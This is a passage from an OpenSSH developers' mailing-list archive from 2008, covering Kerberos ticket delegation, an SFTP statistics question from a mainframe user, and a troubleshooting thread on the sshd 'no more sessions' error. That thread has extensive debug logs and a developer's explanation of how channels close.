passing with GSS-API is thought to be useful. >> Yes it is useful. When used with something like pam_afs_session, >> it can get a AFS token. >> >>> But the authentication is done 'under the hood'; the administrator >>> has no chance to issue finer controls regarding the ticket contents. >> The k5start method as suggested by mloftis at wgops.com sounds interesting, >> as the user then sets the AFS ACLs to let selected hosts read access >> to the ~/.ssh directory... >> >> Not clear if there is a risk here. Any delegated tickets are encrypted >> in a key contained in the the Kerberos service ticket. So in effect you have >> authenticated with Kerberos but you still want to authenticate with the >> SSH keys. If this SSH key authentication fails, you have given away the >> delegated tickets. > > -- Douglas E. Engert Argonne National Laboratory 9700 South Cass Avenue Argonne, Illinois 60439 (630) 252-5444 From Anthony.Arcaro at aps.com Sat May 31 03:27:48 2008 From: Anthony.Arcaro at aps.com (Anthony.Arcaro at aps.com) Date: Fri, 30 May 2008 10:27:48 -0700 Subject: How-To questions Message-ID: Greetings, I have a question that I hope you can answer. First some background. I work on an z9 (2096) IBM mainframe. I am using IBM Ported Tools OPENSSH SFTP to send data to outside vendors (mostly banks). The process works great and it is saving my company lots of $$$. My question is: How can get these fields populated???? debug1: Transferred: stdin 0, stdout 0, stderr 0 bytes in 2.2 seconds debug1: Bytes per second: stdin 0.0, stdout 0.0, stderr 0.0 If I have not given you enough information please let me know. I appreciate any effort you put into this question. Thanks, Anthony B. Arcaro Systems Programmer III PinnacleWest Capital Corp. (602) 371-5625 Voice (602) 226-3985 Pager anthony.arcaro at pinnaclewest.com Email Firewall made the following annotations ------------------------------------------------------------------------ NOTICE --- This message is for the designated recipient only and may contain confidential, privileged or proprietary information. If you have received it in error, please notify the sender immediately and delete the original and any copy or printout. Unintended recipients are prohibited from making any other use of this e-mail. Although we have taken reasonable precautions to ensure no viruses are present in this e-mail, we accept no liability for any loss or damage arising from the use of this e-mail or attachments, or for any delay or errors or omissions in the contents which result from e-mail transmission. --------------------------------------------------------------------- From praseed.gopal at gmail.com Sat May 31 05:11:26 2008 From: praseed.gopal at gmail.com (Praseed V Gopal) Date: Fri, 30 May 2008 12:11:26 -0700 Subject: "ERR sshd: error: no more sessions" issue Message-ID: Initially send this mail to user group. then realized this is more apt place. Apologies for posting in both groups... Hi all, We're using openssh version 4.7p on our linux 2.6-22 kernel. We have a Java based GUI that opens a secure shell connection to this linux box. To do something over the connection, the GUI opens a session (some times 3-4 simultaneous sessions) & once done, it will close the connection gracefully (I believe). The problem is after a few sessions (10) are open & closed, we see "May 29 14:43:11 ERR sshd[534]: error: no more sessions" error. So I checked the source code of openssh & changed the value of MAX_SESSIONS from 10 to 100.in session.c @ line number 132. Things got improved, but now after number of sessions crosses 100, the same error pops up. I enabled the debug mode. Debug messages are at the end of this mail. 1) Please tell me, whether the sessions are getting closed properly? 2) If yes, why it is not decrementing the used sessions & reusing the already closed sessions? 3) is this supposed to work this way? 4) How do I fix it or work around this? Thanks & Regards Praseed. ============Debug Messages================ May 29 14:43:07 DEBUG sshd[534]: debug1: session_open: session 98: link with channel 98 May 29 14:43:07 DEBUG sshd[534]: debug1: server_input_channel_open: confirm session May 29 14:43:07 DEBUG sshd[534]: debug1: server_input_channel_req: channel 98 request exec reply 1 May 29 14:43:07 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:07 DEBUG sshd[534]: debug1: session_input_channel_req: session 98 req exec May 29 14:43:07 DEBUG sshd[534]: debug2: fd 105 setting O_NONBLOCK May 29 14:43:07 DEBUG sshd[2514]: debug1: permanently_set_uid: 0/0 May 29 14:43:07 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: read failed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: close_read May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: input open -> drain May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: ibuf_empty delayed efd 107/(0) May 29 14:43:07 DEBUG sshd[534]: debug2: notify_done: reading May 29 14:43:07 DEBUG sshd[534]: debug1: Received SIGCHLD. May 29 14:43:07 DEBUG sshd[534]: debug1: session_by_pid: pid 2514 May 29 14:43:07 DEBUG sshd[534]: debug1: session_exit_message: session 98 channel 98 pid 2514 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: request exit-status confirm 0 May 29 14:43:07 DEBUG sshd[534]: debug1: session_exit_message: release channel 98 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: write failed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: close_write May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: output open -> closed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: ibuf empty May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: send eof May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: input drain -> closed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: send close May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: rcvd close May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: gc: notify user May 29 14:43:07 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:07 DEBUG sshd[534]: debug1: session_close_by_channel: channel 98 child 0 May 29 14:43:07 DEBUG sshd[534]: debug1: session_close: session 98 pid 0 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: gc: user detached May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: garbage collecting May 29 14:43:07 DEBUG sshd[534]: debug1: channel 98: free: server-session, nchannels 99 May 29 14:43:07 DEBUG sshd[534]: debug1: server_input_channel_open: ctype session rchan 1409 win 30000 max 33976 May 29 14:43:07 DEBUG sshd[534]: debug1: input_session_request May 29 14:43:07 DEBUG sshd[534]: debug1: channel 98: new [server-session] May 29 14:43:07 DEBUG sshd[534]: debug1: session_new: session 98 May 29 14:43:07 DEBUG sshd[534]: debug1: session_open: channel 98 May 29 14:43:07 DEBUG sshd[534]: debug1: session_open: session 98: link with channel 98 May 29 14:43:07 DEBUG sshd[534]: debug1: server_input_channel_open: confirm session May 29 14:43:07 DEBUG sshd[534]: debug1: server_input_channel_req: channel 98 request exec reply 1 May 29 14:43:07 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:07 DEBUG sshd[534]: debug1: session_input_channel_req: session 98 req exec May 29 14:43:07 DEBUG sshd[534]: debug2: fd 105 setting O_NONBLOCK May 29 14:43:07 DEBUG sshd[2515]: debug1: permanently_set_uid: 0/0 May 29 14:43:07 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: read failed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: close_read May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: input open -> drain May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: ibuf_empty delayed efd 107/(0) May 29 14:43:07 DEBUG sshd[534]: debug2: notify_done: reading May 29 14:43:07 DEBUG sshd[534]: debug1: Received SIGCHLD. May 29 14:43:07 DEBUG sshd[534]: debug1: session_by_pid: pid 2515 May 29 14:43:07 DEBUG sshd[534]: debug1: session_exit_message: session 98 channel 98 pid 2515 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: request exit-status confirm 0 May 29 14:43:07 DEBUG sshd[534]: debug1: session_exit_message: release channel 98 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: write failed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: close_write May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: output open -> closed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: ibuf empty May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: send eof May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: input drain -> closed May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: send close May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: rcvd close May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: gc: notify user May 29 14:43:07 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:07 DEBUG sshd[534]: debug1: session_close_by_channel: channel 98 child 0 May 29 14:43:07 DEBUG sshd[534]: debug1: session_close: session 98 pid 0 May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: gc: user detached May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:07 DEBUG sshd[534]: debug2: channel 98: garbage collecting May 29 14:43:07 DEBUG sshd[534]: debug1: channel 98: free: server-session, nchannels 99 May 29 14:43:07 DEBUG sshd[534]: debug1: server_input_channel_open: ctype session rchan 1410 win 30000 max 33976 May 29 14:43:07 DEBUG sshd[534]: debug1: input_session_request May 29 14:43:07 DEBUG sshd[534]: debug1: channel 98: new [server-session] May 29 14:43:07 DEBUG sshd[534]: debug1: session_new: session 98 May 29 14:43:07 DEBUG sshd[534]: debug1: session_open: channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_open: session 98: link with channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_open: confirm session May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_req: channel 98 request exec reply 1 May 29 14:43:09 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_input_channel_req: session 98 req exec May 29 14:43:09 DEBUG sshd[534]: debug2: fd 105 setting O_NONBLOCK May 29 14:43:09 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK May 29 14:43:09 DEBUG sshd[2516]: debug1: permanently_set_uid: 0/0 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: read failed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: close_read May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: input open -> drain May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: ibuf_empty delayed efd 107/(0) May 29 14:43:09 DEBUG sshd[534]: debug2: notify_done: reading May 29 14:43:09 DEBUG sshd[534]: debug1: Received SIGCHLD. May 29 14:43:09 DEBUG sshd[534]: debug1: session_by_pid: pid 2516 May 29 14:43:09 DEBUG sshd[534]: debug1: session_exit_message: session 98 channel 98 pid 2516 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: request exit-status confirm 0 May 29 14:43:09 DEBUG sshd[534]: debug1: session_exit_message: release channel 98 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: write failed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: close_write May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: output open -> closed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: ibuf empty May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: send eof May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: input drain -> closed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: send close May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: rcvd close May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: gc: notify user May 29 14:43:09 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_close_by_channel: channel 98 child 0 May 29 14:43:09 DEBUG sshd[534]: debug1: session_close: session 98 pid 0 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: gc: user detached May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: garbage collecting May 29 14:43:09 DEBUG sshd[534]: debug1: channel 98: free: server-session, nchanne:q ls 99 May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_open: ctype session rchan 1411 win 30000 max 33976 May 29 14:43:09 DEBUG sshd[534]: debug1: input_session_request May 29 14:43:09 DEBUG sshd[534]: debug1: channel 98: new [server-session] May 29 14:43:09 DEBUG sshd[534]: debug1: session_new: session 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_open: channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_open: session 98: link with channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_open: confirm session May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_req: channel 98 request exec reply 1 May 29 14:43:09 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_input_channel_req: session 98 req exec May 29 14:43:09 DEBUG sshd[534]: debug2: fd 105 setting O_NONBLOCK May 29 14:43:09 DEBUG sshd[2517]: debug1: permanently_set_uid: 0/0 May 29 14:43:09 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: read failed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: close_read May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: input open -> drain May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: ibuf_empty delayed efd 107/(0) May 29 14:43:09 DEBUG sshd[534]: debug2: notify_done: reading May 29 14:43:09 DEBUG sshd[534]: debug1: Received SIGCHLD. May 29 14:43:09 DEBUG sshd[534]: debug1: session_by_pid: pid 2517 May 29 14:43:09 DEBUG sshd[534]: debug1: session_exit_message: session 98 channel 98 pid 2517 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: request exit-status confirm 0 May 29 14:43:09 DEBUG sshd[534]: debug1: session_exit_message: release channel 98 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: write failed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: close_write May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: output open -> closed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: ibuf empty May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: send eof May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: input drain -> closed May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: send close May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: rcvd close May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: gc: notify user May 29 14:43:09 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_close_by_channel: channel 98 child 0 May 29 14:43:09 DEBUG sshd[534]: debug1: session_close: session 98 pid 0 May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: gc: user detached May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:09 DEBUG sshd[534]: debug2: channel 98: garbage collecting May 29 14:43:09 DEBUG sshd[534]: debug1: channel 98: free: server-session, nchannels 99 May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_open: ctype session rchan 1412 win 30000 max 33976 May 29 14:43:09 DEBUG sshd[534]: debug1: input_session_request May 29 14:43:09 DEBUG sshd[534]: debug1: channel 98: new [server-session] May 29 14:43:09 DEBUG sshd[534]: debug1: session_new: session 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_open: channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_open: session 98: link with channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_open: confirm session May 29 14:43:09 DEBUG sshd[534]: debug1: server_input_channel_req: channel 98 request exec reply 1 May 29 14:43:09 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:09 DEBUG sshd[534]: debug1: session_input_channel_req: session 98 req exec May 29 14:43:09 DEBUG sshd[534]: debug2: fd 105 setting O_NONBLOCK May 29 14:43:09 DEBUG sshd[2518]: debug1: permanently_set_uid: 0/0 May 29 14:43:09 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read failed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_read May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input open -> drain May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf_empty delayed efd 107/(0) May 29 14:43:10 DEBUG sshd[534]: debug2: notify_done: reading May 29 14:43:10 DEBUG sshd[534]: debug1: Received SIGCHLD. May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_pid: pid 2518 May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: session 98 channel 98 pid 2518 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: request exit-status confirm 0 May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: release channel 98 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: write failed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_write May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: output open -> closed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf empty May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send eof May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input drain -> closed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send close May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: rcvd close May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: gc: notify user May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:10 DEBUG sshd[534]: debug1: session_close_by_channel: channel 98 child 0 May 29 14:43:10 DEBUG sshd[534]: debug1: session_close: session 98 pid 0 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: gc: user detached May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: is dead May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: garbage collecting May 29 14:43:10 DEBUG sshd[534]: debug1: channel 98: free: server-session, nchannels 99 May 29 14:43:10 DEBUG sshd[534]: debug1: server_input_channel_open: ctype session rchan 1413 win 30000 max 33976 May 29 14:43:10 DEBUG sshd[534]: debug1: input_session_request May 29 14:43:10 DEBUG sshd[534]: debug1: channel 98: new [server-session] May 29 14:43:10 DEBUG sshd[534]: debug1: session_new: session 98 May 29 14:43:10 DEBUG sshd[534]: debug1: session_open: channel 98 May 29 14:43:10 DEBUG sshd[534]: debug1: session_open: session 98: link with channel 98 May 29 14:43:10 DEBUG sshd[534]: debug1: server_input_channel_open: confirm session May 29 14:43:10 DEBUG sshd[534]: debug1: server_input_channel_req: channel 98 request exec reply 1 May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_channel: session 98 channel 98 May 29 14:43:10 DEBUG sshd[534]: debug1: session_input_channel_req: session 98 req exec May 29 14:43:10 DEBUG sshd[534]: debug2: fd 105 setting O_NONBLOCK May 29 14:43:10 DEBUG sshd[2519]: debug1: permanently_set_uid: 0/0 May 29 14:43:10 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read failed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_read May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input open -> drain May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf_empty delayed efd 107/(0) May 29 14:43:10 DEBUG sshd[534]: debug2: notify_done: reading May 29 14:43:10 DEBUG sshd[534]: debug1: Received SIGCHLD. May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_pid: pid 2519 May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: session 98 channel 98 pid 2519 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: request exit-status confirm 0 May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: release channel 98 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: write failed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_write May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: output open -> closed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf empty May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send eof May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input drain -> closed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send close May 29 14:43:10 DEBUG sshd[534]: debug1: server_input_channel_open: ctype session rchan 1414 win 30000 max 33976 May 29 14:43:10 DEBUG sshd[534]: debug1: input_session_request May 29 14:43:10 DEBUG sshd[534]: debug1: channel 99: new [server-session] May 29 14:43:10 DEBUG sshd[534]: debug1: session_new: session 99 May 29 14:43:10 DEBUG sshd[534]: debug1: session_open: channel 99 May 29 14:43:10 DEBUG sshd[534]: debug1: session_open: session 99: link with channel 99 May 29 14:43:10 DEBUG sshd[534]: debug1: server_input_channel_open: confirm session May 29 14:43:10 DEBUG sshd[534]: debug1: server_input_channel_req: channel 99 request exec reply 1 May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_channel: session 99 channel 99 May 29 14:43:10 DEBUG sshd[534]: debug1: session_input_channel_req: session 99 req exec May 29 14:43:10 DEBUG sshd[534]: debug2: fd 106 setting O_NONBLOCK May 29 14:43:10 DEBUG sshd[2520]: debug1: permanently_set_uid: 0/0 May 29 14:43:10 DEBUG sshd[534]: debug2: fd 108 setting O_NONBLOCK May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: read<=0 rfd 106 len 0 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: read failed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: close_read May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: input open -> drain May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: ibuf_empty delayed efd 108/(0) May 29 14:43:10 DEBUG sshd[534]: debug2: notify_done: reading May 29 14:43:10 DEBUG sshd[534]: debug1: Received SIGCHLD. May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_pid: pid 2520 May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: session 99 channel 99 pid 2520 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: request exit-status confirm 0 May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: release channel 99 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: write failed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: close_write May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: output open -> closed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: read 0 from efd 108 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: closing read-efd 108 May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: ibuf empty May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: send eof May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: input drain -> closed May 29 14:43:10 DEBUG sshd[534]: debug2: channel 99: send close May 29 14:43:10 DEBUG sshd[534]: debug1: server_input_channel_open: ctype session rchan 1415 win 30000 max 33976 May 29 14:43:10 DEBUG sshd[534]: debug1: input_session_request May 29 14:43:11 DEBUG sshd[534]: debug2: channel: expanding 110 May 29 14:43:11 DEBUG sshd[534]: debug1: channel 100: new [server-session] May 29 14:43:11 DEBUG sshd[534]: debug1: session_open: channel 100 --------------no more sessions praseed---------------- May 29 14:43:11 ERR sshd[534]: error: no more sessions May 29 14:43:11 DEBUG sshd[534]: debug1: session open failed, free channel 100 May 29 14:43:11 DEBUG sshd[534]: debug1: channel 100: free: server-session, nchannels 101 May 29 14:43:11 DEBUG sshd[534]: debug1: server_input_channel_open: failure session From djm at mindrot.org Sat May 31 05:39:40 2008 From: djm at mindrot.org (Damien Miller) Date: Sat, 31 May 2008 05:39:40 +1000 (EST) Subject: "ERR sshd: error: no more sessions" issue In-Reply-To: References: Message-ID: On Fri, 30 May 2008, Praseed V Gopal wrote: > Initially send this mail to user group. then realized this is more apt > place. Apologies for posting in both groups... > > Hi all, > We're using openssh version 4.7p on our linux 2.6-22 kernel. > We have a Java based GUI that opens a secure shell connection to this linux box. > To do something over the connection, the GUI opens a session (some > times 3-4 simultaneous sessions) & once done, it will close the > connection gracefully (I believe). > The problem is after a few sessions (10) are open & closed, we see > "May 29 14:43:11 ERR sshd[534]: error: no more sessions" error. > So I checked the source code of openssh & changed the value of > MAX_SESSIONS from 10 to 100.in session.c @ line number 132. > > Things got improved, but now after number of sessions crosses 100, the > same error pops up. > I enabled the debug mode. Debug messages are at the end of this mail. > > 1) Please tell me, whether the sessions are getting closed properly? > 2) If yes, why it is not decrementing the used sessions & reusing the > already closed sessions? > 3) is this supposed to work this way? > 4) How do I fix it or work around this? It looks like the problem lies with your Java client. Compare the sequence of a successful session closure: > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read failed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_read > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input open -> drain > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf_empty > delayed efd 107/(0) > May 29 14:43:10 DEBUG sshd[534]: debug2: notify_done: reading > May 29 14:43:10 DEBUG sshd[534]: debug1: Received SIGCHLD. > May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_pid: pid 2518 > May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: session > 98 channel 98 pid 2518 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: request > exit-status confirm 0 > May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: release > channel 98 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: write failed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_write > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: output open -> closed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read 0 from efd 107 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: closing read-efd 107 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf empty > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send eof > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input drain -> closed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: send close > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: rcvd close > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: is dead > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: gc: notify user > May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_channel: session > 98 channel 98 > May 29 14:43:10 DEBUG sshd[534]: debug1: session_close_by_channel: > channel 98 child 0 > May 29 14:43:10 DEBUG sshd[534]: debug1: session_close: session 98 pid 0 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: gc: user detached > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: is dead > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: garbage collecting > May 29 14:43:10 DEBUG sshd[534]: debug1: channel 98: free: > server-session, nchannels 99 Broadly speaking, a "channel" is the SSH protocol's abstraction for a bidirectional pipe, and a "session" handles command/shell/subsystem execution. A session uses a channel for communication. The sequence here is: 1. channel read failed 2. child process exited 3. simulate a channel write failure (the child process is gone by now) 4. send channel eof 5. wait for input to drain (in this case it already has) 6. send channel close 7. *remote* sends a channel close 8. session is detached from channel 9. channel is freed Here is one that failed to clean up properly. > May 29 14:43:10 DEBUG sshd[534]: debug2: fd 107 setting O_NONBLOCK > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read<=0 rfd 105 len 0 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: read failed > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: close_read > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: input open -> drain > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: ibuf_empty > delayed efd 107/(0) > May 29 14:43:10 DEBUG sshd[534]: debug2: notify_done: reading > May 29 14:43:10 DEBUG sshd[534]: debug1: Received SIGCHLD. > May 29 14:43:10 DEBUG sshd[534]: debug1: session_by_pid: pid 2519 > May 29 14:43:10 DEBUG sshd[534]: debug1: session_exit_message: session > 98 channel 98 pid 2519 > May 29 14:43:10 DEBUG sshd[534]: debug2: channel 98: request > exit-status confirm 0 > 